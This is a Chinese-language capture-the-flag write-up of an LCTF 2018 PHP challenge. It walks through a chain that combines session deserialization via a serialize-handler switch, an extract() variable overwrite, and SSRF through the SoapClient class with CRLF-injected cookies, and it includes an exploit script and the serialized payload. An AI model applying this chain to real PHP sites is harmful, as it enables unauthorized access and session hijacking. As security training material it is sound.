前言

今天刷题遇到一个比较有意思的题目。每个知识点我都知道,把他们放在一块我就不知道怎么去搞了。所谓知识点考的是非常灵活了,涉及到的知识有session反序列化,变量覆盖,利用原生类触发ssrf等等。考的内容也比较多。个人感觉还是有必要记录下来的,也正好复习一下php的知识。

题目分析

一段很短的源代码:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php:

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag! 

问题分析

乍一看代码,只能把利用点放在call_user_func的函数调用上,而且有两处。我还怀疑为什么有两处,再一看回调函数的参数,函数名可控,可以任意调。参数是一个数组,再一想,好像没有什么命令执行函数能用。看第二个回调函数的参数,函数名是implode,一个把数组转换为字符串的函数,没啥用的。参数值由name传进去,是可控的。目前来说通过call_user_func函数来执行命令是不太现实的。下面的flag文件是扫目录扫出来的,提示从本地访问,然后就把flag写进session里,看到这里好像就有点思路了。肯定是要SSRF的,也想过通过原生类来实现SSRF。那么按照这个思路走的话,有两个问题。反序列化点和__call魔术方法触发点。

寻找反序列化点

这里最可能存在反序列化点的就是session反序列化了。能够触发session反序列化的就是不同的处理器,在这里我们能控制处理器吗?

php7新特性

PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)

那么也就是说我们可以通过session_start来控制处理器来触发session反序列化。session.serialize_handler默认值是php,如果存储session的时候修改处理器为php_serialize,恶意session值为|+序列化攻击串,那么读的时候就以php来读,它就会反序列化我们的攻击串。(session反序列化具体细节不再说了)

寻找__call函数触发点

我们上面讲的就是序列化串就是SoapClient原生类。需要在它反序列化的时候去触发__call方法实现SSRF。触发call方法的点就是把SoapClient类当作php函数来执行,仔细看代码好像没有什么能够满足的地方。这里可以利用extract函数来进行变量覆盖,别忘了extract也是接收数组参数的。覆盖掉$b的值,把它的值修改为call_user_func,让name参数去赋值为SoapClient类,到最后一个回调函数的时候,call_user_func会调用SoapClient函数,参数为welcome_to_the_lctf2018。这样就满足call魔术方法的触发条件了,个人感觉这是本题目最巧妙的地方了。

题目复现

首先生成序列化串,编写exp:

<?php
$url = "http://127.0.0.1/flag.php";
$a = new SoapClient(null,array('user_agent'=>"XiLitter\r\nCookie:PHPSESSID=123456",'uri'=>"XiLitter",'location'=>$url));
$ser = urlencode(serialize($a));
echo "|".$ser;
?>

生成的序列化串为:

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A8%3A%22XiLitter%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A33%3A%22XiLitter%0D%0ACookie%3APHPSESSID%3D123456%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

以php_serialize写进去。

然后触发call方法,代码中是有读session的操作的,所以这里是反序列化了的。

我们自己设置的session值是123456,flag文件中说了会把flag写进session里,而且代码中会把session给打印出来,所以这里直接改session值访问一下就能出flag了。